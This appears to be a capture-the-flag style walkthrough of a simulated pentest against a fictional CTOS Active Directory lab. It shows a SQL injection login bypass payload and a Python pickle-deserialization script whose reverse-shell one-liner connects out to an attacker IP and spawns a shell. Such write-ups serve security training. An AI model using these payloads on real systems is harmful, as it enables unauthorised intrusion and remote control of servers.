> ## Documentation Index
> Fetch the complete documentation index at: https://www.nthsec.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CTOS

CTOS Corporation delivers cutting-edge managed services, cloud solutions, and cybersecurity expertise to clients of all sizes. You have been hired to perform their annual penetration test against 3 high-value targets in the Active Directory environment. Your task is to identify all vulnerabilties and (if possible) elevate your privileges to Domain Admin.

You have been provided VPN access to their internal network, but no other information.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-27.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=71ce52c4ece64b6c70d02f495f56a155)

# Enumeration

Normally we would start off with an nmap scan, but there is something else we need to address and organize before starting. On the HSM launch page, we have three machines

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-28.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=3654fe39ddf5e03e2dbc9cb7109d84d7)

To keep track of our information, we will be using this table:

<table>
  <colgroup>
    <col width="138" />

    <col width="101" />

    <col width="100" />
  </colgroup>

  <thead>
    <tr>
      <th>IP</th>
      <th>Hostname</th>
      <th>Ports</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>10.1.22.247</td>
      <td>DC01</td>

      <td />
    </tr>

    <tr>
      <td>10.1.149.204</td>
      <td>IT-WS01</td>

      <td />
    </tr>

    <tr>
      <td>10.1.13.133</td>
      <td>WEB-01</td>

      <td />
    </tr>
  </tbody>
</table>

Let's start off my obtaining open ports for each host, ensuring that at the end we update our table to have a clean attack surface going into the attack phase of our engagement.

### DC01 Nmap

**Full Nmap on DC01**

```shellscript theme={null}
└─$ nmap -T4 -A 10.1.22.247 -oN dc01.nmap
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-18 19:06 -0400
Nmap scan report for 10.1.22.247
Host is up (0.035s latency).
Not shown: 987 closed tcp ports (reset)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-10-18 23:06:18Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: CTOS.CORP, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.CTOS.CORP
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.CTOS.CORP
| Not valid before: 2026-02-15T20:12:45
|_Not valid after:  2027-02-15T20:12:45
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: CTOS.CORP, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.CTOS.CORP
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.CTOS.CORP
| Not valid before: 2026-02-15T20:12:45
|_Not valid after:  2027-02-15T20:12:45
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: CTOS.CORP, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.CTOS.CORP
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.CTOS.CORP
| Not valid before: 2026-02-15T20:12:45
|_Not valid after:  2027-02-15T20:12:45
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: CTOS.CORP, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC01.CTOS.CORP
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.CTOS.CORP
| Not valid before: 2026-02-15T20:12:45
|_Not valid after:  2027-02-15T20:12:45
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.CTOS.CORP
| Not valid before: 2026-08-12T15:59:39
|_Not valid after:  2027-02-11T15:59:39
|_ssl-date: 2026-10-18T23:07:23+00:00; -2s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: CTOS
|   NetBIOS_Domain_Name: CTOS
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: CTOS.CORP
|   DNS_Computer_Name: DC01.CTOS.CORP
|   Product_Version: 10.0.20348
|_  System_Time: 2026-10-18T23:07:13+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)s
```

Nothing out of the ordinary here, as these are the expected open domain controller ports alongside RDP and WinRM.

### IT-WS01 Nmap

**Full Nmap on IT-WS01**

```shellscript theme={null}
└─$ nmap -T4 -A 10.1.149.204 -oN it-ws01.nmap
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-18 20:23 -0400
Nmap scan report for 10.1.149.204
Host is up (0.038s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2026-10-19T00:24:16+00:00; -3s from scanner time.
| ssl-cert: Subject: commonName=IT-WS01.CTOS.CORP
| Not valid before: 2026-08-12T16:48:20
|_Not valid after:  2027-02-11T16:48:20
| rdp-ntlm-info: 
|   Target_Name: CTOS
|   NetBIOS_Domain_Name: CTOS
|   NetBIOS_Computer_Name: IT-WS01
|   DNS_Domain_Name: CTOS.CORP
|   DNS_Computer_Name: IT-WS01.CTOS.CORP
|   Product_Version: 10.0.20348
|_  System_Time: 2026-10-19T00:23:36+00:00
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 3 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-10-19T00:23:41
|_  start_date: N/A
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
|_clock-skew: mean: -2s, deviation: 0s, median: -3s

TRACEROUTE (using port 445/tcp)
HOP RTT      ADDRESS
1   37.73 ms 10.200.0.1
2   ...
3   40.17 ms 10.1.149.204

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 62.80 seconds
```

Looks like a normal domain joined windows workstation, featuring SMB, RDP, and WinRM.

### WEB-01 Nmap

**Full Nmap on WEB-01**

```shellscript theme={null}
└─$ nmap -T4 -A 10.1.13.133 -oN web01.nmap  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-18 19:08 -0400
Nmap scan report for 10.1.13.133
Host is up (0.036s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4c:b2:d9:53:df:da:8e:18:c3:63:71:48:6d:48:f5:39 (ECDSA)
|_  256 72:ba:15:78:a7:2c:71:c5:ab:cc:e5:04:16:14:2b:15 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Home | Enterprise Technology Solutions
|_http-server-header: nginx/1.24.0 (Ubuntu)
```

Web is as expected, just running HTTP and SSH on a linux machine.

So our updated table looks like this:

<table>
  <colgroup>
    <col width="138" />

    <col width="101" />

    <col width="166" />
  </colgroup>

  <thead>
    <tr>
      <th>IP</th>
      <th>Hostname</th>
      <th>Ports</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>10.1.22.247</td>
      <td>DC01</td>
      <td>Normal AD + RDP and WinRM</td>
    </tr>

    <tr>
      <td>10.1.149.204</td>
      <td>IT-WS01</td>
      <td>SMB, RDP, WinRM</td>
    </tr>

    <tr>
      <td>10.1.13.133</td>
      <td>WEB-01</td>
      <td>SSH + HTTP (80)</td>
    </tr>
  </tbody>
</table>

Let's continue enumeration systematically, starting with DC01 checking for any guest / null authentication tricks, and then moving to the web server to hopefully find a way in.

## DC01 Enumeration Continued

To probe for non-authenticated resources, we can use netexec.

First, checking for null authentication, which is not providing a username or password and attempting to list shares:

```shellscript theme={null}
nxc smb DC01.CTOS.CORP -u '' -p '' --shares
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-29.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=dcae615480b0c2d7b576ce3ee8059af6)

We see a green checkmark, but clearly access to any shares is denied. Moving on to guest, we see that the account is disabled entirely. This limits our options quite severely, as there aren't a TON of things we can do without proper authentication to the domain.

```shellscript theme={null}
nxc smb DC01.CTOS.CORP -u 'Guest' -p '' --shares
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-30.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=efb38891cf3b952809918ff96dd2557f)

One last thing to check before moving on is null authentication via LDAP. If we can perform LDAP queries we may be able to garner additional information from object properties which can give us a foothold. Unfortunately, it doesn't look like this is the case, as we don't successfully bind:

```shellscript theme={null}
nxc ldap DC01.CTOS.CORP -u '' -p '' --users
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-31.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=5f19911cdcca36dcd001cdf5c96bff5e)

## Web-01 Enumeration Continued

Without any handle on the DC01, we can move on to enumerate the linux based web server.

First, running [gobuster](https://github.com/Oj/gobuster) to ensure we don't miss any directories or subdomains:

```shellscript theme={null}
└─$ gobuster dir -u http://10.1.13.133 -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.1.13.133
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
about                (Status: 200) [Size: 25509]
careers              (Status: 200) [Size: 23856]
contact              (Status: 200) [Size: 20675]
login                (Status: 200) [Size: 16995]
news                 (Status: 200) [Size: 19724]
portal               (Status: 302) [Size: 199] [--> /login]
services             (Status: 200) [Size: 24452]
Progress: 20471 / 20471 (100.00%)
===============================================================
Finished
==============================================================
```

`gobuster `reveals many endpoints that we should explore!

Moving on to the web page itself, we find that it is some kind of MSP or enterprise solution manager:

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-32.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=bd3108aa1f09013ec7571ed1dd278750)

Let's explore each endpoint that gobuster found:

* `/about`
  * On the about page there is a list of the leadership team. This could be important, as if we get a name schema (i.e. first.last, firstInitial.last, etc.) we can create a valid user list for our target.

    ![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-33.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=05dd9696d573b57b9908909fc7937dda)

* `/careers`
  * Doesn't reveal a ton, but there are some small tidbits about what potential technology CTOS CORP may use on the backend that we will eventually be targeting.

    ![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-34.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=c9389addb29513cd1c0707426178611f)

* `/contact`
  * Nothing too interesting on contact other than the two email addresses and the ability for user input. I don't think this is the way forward, so I will leave a stored XSS payload and see if it gets us anywhere

    ![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-35.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=3e1fdc2c19792aa2080eeccd3d636c02)

* `/news`
  * Simply a news / blog page for the company. Similarly to careers, we can garner a small amount of information such as "streamlined onboarding system" and "expansion of cloud management services". Both of these could be potential attack vectors.

    ![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-36.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=f647565188112b5a8249e67760bb4daf)

* `/services`
  * The CTOS services, which provide some generic consulting and MSP services.

    ![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-37.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=bb34c74b53e6109df846b898cd9f1c20)

* `/login `(`/portal`)
  * This isn't a page advertised on the main site, as we found it through fuzzing, but it looks like we can login to the dev portal so long as we have "CTOS developer credentials".

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-38.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=0a33e65a3215ab3422355e4e3d988979)

Submitting a test request and intercepting with [Caido](https://www.caido.io/), we find a couple of things. First, it appears as if the CTOS website sets it's own cookie "ctos\_session" alongside a normal JWT.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-40.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=98ddcdce7b74464a86bf377ba84c4712)

This cookie doesn't decode super neatly in b64, but we can get a glimpse of what it is doing:

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-41.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=057ccc0dedfb45810f5f1d641257082b)

We can extract that we have a visitor\_id, what pages we have visited, first login time, username, and if we're authenticated or not.

The normal JWT decodes to just a warning message telling us to log in to access the dev portal.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-42.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=259d690951ff48385979af3afdef8f47)

Going back to our `ctos_session`, I want to touch on WHY the base64 decodes all wonky and weird. This is because it is a deserialized python pickle object. We know this because the prefix 'gASV' decodes to \x80\x04, which identifies Python's pickle protocol 4. This object is interesting because if a server unpickles attacker-controlled data without appropriate protections, that can lead to arbitrary code execution.

We can learn more about our cookie by decoding it properly with this script:

```python theme={null}
import base64
import pickletools

cookie = "Paste_Pickle"
raw = base64.b64decode(cookie)

pickletools.dis(raw)
```

This gives us a lot cleaner of an idea of what the cookie is carrying:

```shellscript theme={null}
┌──(venv)─(kali㉿kali)-[~/HackSmarter/CTOS]
└─$ python3 decode_pickle.py 
    0: \x80 PROTO      4
    2: \x95 FRAME      245
   11: \x8c SHORT_BINUNICODE 'app'
   16: \x94 MEMOIZE    (as 0)
   17: \x8c SHORT_BINUNICODE 'SessionData'
   30: \x94 MEMOIZE    (as 1)
   31: \x93 STACK_GLOBAL
   32: \x94 MEMOIZE    (as 2)
   33: )    EMPTY_TUPLE
   34: \x81 NEWOBJ
   35: \x94 MEMOIZE    (as 3)
   36: }    EMPTY_DICT
   37: \x94 MEMOIZE    (as 4)
   38: (    MARK
   39: \x8c     SHORT_BINUNICODE 'visitor_id'
   51: \x94     MEMOIZE    (as 5)
   52: \x8c     SHORT_BINUNICODE '4c7d38d90e39cd7a'
   70: \x94     MEMOIZE    (as 6)
   71: \x8c     SHORT_BINUNICODE 'theme'
   78: \x94     MEMOIZE    (as 7)
   79: \x8c     SHORT_BINUNICODE 'light'
   86: \x94     MEMOIZE    (as 8)
   87: \x8c     SHORT_BINUNICODE 'visited_pages'
  102: \x94     MEMOIZE    (as 9)
  103: ]        EMPTY_LIST
  104: \x94     MEMOIZE    (as 10)
  105: (        MARK
  106: \x8c         SHORT_BINUNICODE '/'
  109: \x94         MEMOIZE    (as 11)
  110: \x8c         SHORT_BINUNICODE '/about'
  118: \x94         MEMOIZE    (as 12)
  119: \x8c         SHORT_BINUNICODE '/careers'
  129: \x94         MEMOIZE    (as 13)
  130: \x8c         SHORT_BINUNICODE '/contact'
  140: \x94         MEMOIZE    (as 14)
  141: \x8c         SHORT_BINUNICODE '/news'
  148: \x94         MEMOIZE    (as 15)
  149: \x8c         SHORT_BINUNICODE '/services'
  160: \x94         MEMOIZE    (as 16)
  161: \x8c         SHORT_BINUNICODE '/portal'
  170: \x94         MEMOIZE    (as 17)
  171: \x8c         SHORT_BINUNICODE '/login'
  179: \x94         MEMOIZE    (as 18)
  180: e            APPENDS    (MARK at 105)
  181: \x8c     SHORT_BINUNICODE 'first_visit'
  194: \x94     MEMOIZE    (as 19)
  195: \x8c     SHORT_BINUNICODE '2026-10-19T04:49:07.915411'
  223: \x94     MEMOIZE    (as 20)
  224: \x8c     SHORT_BINUNICODE 'username'
  234: \x94     MEMOIZE    (as 21)
  235: N        NONE
  236: \x8c     SHORT_BINUNICODE 'authenticated'
  251: \x94     MEMOIZE    (as 22)
  252: \x89     NEWFALSE
  253: u        SETITEMS   (MARK at 38)
  254: b    BUILD
  255: .    STOP
highest protocol among opcodes = 4
```

Now, the big question here is if we can manage to manipulate any of the values in this object? Particularly, the ones that are interesting is naturally going to be `username`  and `authenticated.`  This is similar to a [mass assignment](https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html) attack we would traditionally see.

We can start by testing whether the cookie is integrity-protected and whether changes to the fields survive a round trip. We can do this with this script:

```python theme={null}

#!/usr/bin/env python3
import base64
import pickle
import types
import sys

# Recreate the class reference seen in the pickle disassembly.
app = types.ModuleType("app")

SessionData = type(
    "SessionData",
    (),
    {"__module__": "app"}
)

app.SessionData = SessionData
sys.modules["app"] = app

# Reconstruct the session fields.
session = SessionData()
session.visitor_id = "4c7d38d90e39cd7a"
session.theme = "light"
session.visited_pages = [
    "/", "/about", "/careers", "/contact",
    "/news", "/services", "/portal", "/login"
]
session.first_visit = "2026-10-19T04:49:07.915411"

# Test values
session.username = "admin"
session.authenticated = True

# Serialize using the same pickle protocol.
raw = pickle.dumps(session, protocol=4)
encoded = base64.b64encode(raw).decode()

print("[+] Reconstructed session object")
print(f"[+] Pickle length: {len(raw)} bytes")
print(f"[+] Cookie value:\n{encoded}")
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-45.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=98ead9d0cff4971b952363998de1acca)

Unfortunately, while our payload was preserved, it doesn't look like changing our cookie did anything:

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-46.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=c817c93a7abdd96d49a9b8a2452d6173)

### SQLi on the Dev Login Page

Running sqlmap against the login page, we discover that there is a boolean-based SQL injection on the username parameter!

```text theme={null}
sqlmap -u http://10.1.13.133/login --form --risk=3 --level=3
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-47.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=019db1f6e941cca74057756e5d0e4cb8)

We can confirm this by testing a payload manually:

```text theme={null}
admin' OR 1=1 --
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-48.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=e87c11e7a108ec5cf43e903418bd12d5)

And we're in as the admin user!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-50.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=b92ef1bd272f2c0bc44edac27517ba0b)

### Enumerating the Dev Portal

The first thing that sticks out to me is the red text asking to be clicked, the 'Site Archive'.

Clicking on this we get a `backup.zip `of the site!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-51.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=2865a27733358c0c8bcba617cad1714e)

Analyzing it in the CLI, we get the full [app.py](https://app.py)!

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-52.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=ddc43fd6c708bcb79e462bc8f9296ded)

Unfortunately, the app is just a reflection of what we already see on the main page, the only difference is that it is being hosted locally on 5000 instead of on 80:

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-53.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=988520a6a06d43b12b409e887b3052ad)

**Full app.py**

```python theme={null}
#!/usr/bin/env python3

import os
import base64
import pickle
from datetime import datetime
from flask import Flask, render_template, request, redirect, url_for, make_response, flash

app = Flask(__name__)
app.secret_key = os.urandom(24)

EMPLOYEES = [
    {"name": "Marcus Chen", "role": "Chief Executive Officer", "department": "Executive"},
    {"name": "Sarah Mitchell", "role": "Chief Technology Officer", "department": "Executive"},
    {"name": "David Park", "role": "VP of Engineering", "department": "Engineering"},
    {"name": "Elena Rodriguez", "role": "Senior Security Analyst", "department": "Security"},
    {"name": "James Wilson", "role": "IT Operations Lead", "department": "IT Operations"},
    {"name": "Lisa Conrad", "role": "Junior IT Support", "department": "IT Operations"},
]

NEWS_ITEMS = [
    {
        "title": "CTOS Expands Cloud Infrastructure Services",
        "date": "January 28, 2026",
        "summary": "We're excited to announce the expansion of our cloud management services to better serve enterprise clients.",
        "category": "Company News"
    },
    {
        "title": "Q4 2025 Security Audit Complete",
        "date": "January 15, 2026",
        "summary": "Our annual security assessment has been completed with outstanding results. CTOS maintains SOC2 Type II compliance.",
        "category": "Security"
    },
    {
        "title": "New Employee Onboarding Portal Launched",
        "date": "January 10, 2026",
        "summary": "IT Operations has deployed a new streamlined onboarding system for all departments.",
        "category": "IT Updates"
    },
    {
        "title": "CTOS Named Top Managed Services Provider",
        "date": "December 20, 2025",
        "summary": "Industry recognition for our innovative approach to enterprise IT management.",
        "category": "Awards"
    },
]

SERVICES = [
    {
        "name": "Managed Infrastructure",
        "icon": "bi-server",
        "description": "24/7 monitoring and management of your critical IT infrastructure with guaranteed uptime SLAs."
    },
    {
        "name": "Cloud Solutions",
        "icon": "bi-cloud-check",
        "description": "Hybrid and multi-cloud architecture design, migration, and ongoing optimization services."
    },
    {
        "name": "Cybersecurity",
        "icon": "bi-shield-lock",
        "description": "Comprehensive security assessments, SOC services, and incident response capabilities."
    },
    {
        "name": "IT Consulting",
        "icon": "bi-diagram-3",
        "description": "Strategic technology advisory services to align IT investments with business objectives."
    },
]


class SessionData:
    def __init__(self, visitor_id=None, theme="light", visited_pages=None):
        self.visitor_id = visitor_id or os.urandom(8).hex()
        self.theme = theme
        self.visited_pages = visited_pages or []
        self.first_visit = datetime.now().isoformat()


def get_session():
    cookie = request.cookies.get('ctos_session')
    if cookie:
        try:
            data = base64.b64decode(cookie)
            return pickle.loads(data)
        except:
            pass
    return None


def create_session_response(response, session_data):
    serialized = pickle.dumps(session_data)
    encoded = base64.b64encode(serialized).decode()
    response.set_cookie('ctos_session', encoded, max_age=86400, httponly=False, samesite='Lax')
    return response


@app.after_request
def track_visitor(response):
    if request.endpoint and not request.endpoint.startswith('static'):
        session = get_session()
        if session is None:
            session = SessionData()

        if hasattr(session, 'visited_pages'):
            if request.path not in session.visited_pages:
                session.visited_pages.append(request.path)

        create_session_response(response, session)
    return response


@app.route('/')
def index():
    session = get_session() or SessionData()
    return render_template('index.html', session=session, news=NEWS_ITEMS[:3], services=SERVICES)


@app.route('/about')
def about():
    session = get_session() or SessionData()
    return render_template('about.html', session=session, employees=EMPLOYEES)


@app.route('/services')
def services():
    session = get_session() or SessionData()
    return render_template('services.html', session=session, services=SERVICES)


@app.route('/news')
def news():
    session = get_session() or SessionData()
    return render_template('news.html', session=session, news=NEWS_ITEMS)


@app.route('/careers')
def careers():
    session = get_session() or SessionData()
    return render_template('careers.html', session=session)


@app.route('/contact')
def contact():
    session = get_session() or SessionData()
    return render_template('contact.html', session=session)


@app.route('/portal')
def portal():
    session = get_session() or SessionData()
    flash('Please log in to access the employee portal.', 'warning')
    return redirect(url_for('login'))


@app.route('/login', methods=['GET', 'POST'])
def login():
    session = get_session() or SessionData()
    if request.method == 'POST':
        flash('Invalid credentials. Please contact IT support.', 'danger')
    return render_template('login.html', session=session)


@app.errorhandler(404)
def page_not_found(e):
    session = get_session() or SessionData()
    return render_template('404.html', session=session), 404


@app.errorhandler(500)
def internal_error(e):
    session = get_session() or SessionData()
    return render_template('500.html', session=session), 500


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)
```

While it doesn't reveal any creds, the app DOES disclose more about that `CTOS_Session` we saw earlier. Looking at the code closer, we might be able to trigger RCE via insecure pickle deserialization. There are a few main points that we need to understand first though:

1. We control the cookie
2. In [app.py](https://app.py), we see that our cookie is simply `base64.b64decode(cookie)` decoded followed by `pickle.loads(data).`
3. Pickle can invoke callable objects during deserialization. It is not merely restoring fields on a session object.
4. The `after_request` hook calls `get_session() `and then serializes the resulting object back into a cookie.

Looking up pickle deserialization, we find that using the `__reduce__` function is our best route to get RCE.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-54.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=bfbe310e3a2f62dd2695645a3513ffbd)

# Initial Foothold: Shell as phil on web01

To perform this RCE, we can write our cookie with a script like this using the above mentioned function:\


```python theme={null}
#gen_paylod.py
import pickle
import os
import base64

SHELL = '''python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.200.109.34",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")' '''

class Malicious:
        def __reduce__(self):
                return (os.system, (SHELL,))

b64 = base64.b64encode(pickle.dumps(Malicious())).decode()
print("[+] Your Malicious Payload: " + b64)
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-55.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=1a75429bb9f6c477743745cf162227b4)

> [!NOTE]
>
> *Note: you may need to try a few different python payloads until you get one that clicks. I would also stay away from Penelope, as my shells kept dropping because of the lack of PATH.*

Inputting our cookie and refreshing the page...

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-56.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=c9ab054818cca54b1840c0f41554c321)

Success! We get a shell on web01 as phil.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-59.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=14a07396f5194141add63c03c4ca0974)

# Lateral Movement: phil → john

Running a quick ls as phil, we can find that we have access to the CTOS corp db. We can run a quick python server and get this back onto our kali machine for examination.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-60.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=381f89a1e27b289ef00ae1a81e8ea4a4)

> [!NOTE]
>
> *Note: To get rid of the annoying PATH errors, run the following commands:*
>
> ```text theme={null}
> export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
> export TERM=xterm
> ```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-61.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=bafdf6c08b3fb85eace1b88633c0a86e)

Opening the DB up, we find that there is only one user, the admin user and their password.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-62.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=f798ae38c4262d2b55b0b6fe8cd71fd7)

This isn't entirely unhelpful, as we can use this password to spray to other users as needed. Speaking of other users, we have another user on the WEB01 box names john.

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-63.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=03dd05f59ff1ae9f7ad0162d747c859b)

Backup up a couple of directories, we find that in `/opt/backup` there is a **root owned** backup script that stages files from **our home directory.** The script is particularly looking for backup config and then is running `/usr/bin/zip `against it.

```shellscript theme={null}
#/opt/backup/backup.sh
#!/bin/bash

export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

LOG_FILE="/var/log/backup/backup.log"
STAGING_DIR="/home/phil/backup_staging"
CONFIG_FILE="$STAGING_DIR/backup_config"
SOURCE_DIR="/opt/ctos_portal"
BACKUP_FILE="/opt/ctos_portal/static/backup.zip"

if [ ! -f "$LOG_FILE" ]; then
    touch "$LOG_FILE"
    chmod 644 "$LOG_FILE"
fi

echo "[$(date)] Starting backup process..." >> "$LOG_FILE"

/usr/bin/zip -q -r "$BACKUP_FILE" "$SOURCE_DIR" -x "$SOURCE_DIR/venv/*" >> "$LOG_FILE" 2>&1

if [ -f "$CONFIG_FILE" ]; then
    echo "[$(date)] Reading backup configuration from phil's staging..." >> "$LOG_FILE"
    cat "$CONFIG_FILE" >> "$LOG_FILE" 2>&1
    rm -f "$CONFIG_FILE"
    echo "[$(date)] Configuration processed and removed" >> "$LOG_FILE"
else
    echo "[$(date)] No configuration file found in staging directory" >> "$LOG_FILE"
fi

echo "[$(date)] Backup completed successfully" >> "$LOG_FILE"
echo "----------------------------------------" >> "$LOG_FILE"
```

![Image](https://mintcdn.com/nthsec/6oFR1Mim3cJSvnlb/images/image-65.png?fit=max\&auto=format\&n=6oFR1Mim3cJSvnlb\&q=85\&s=eaea53b951e5cdd63ebd1a34ebce117d)

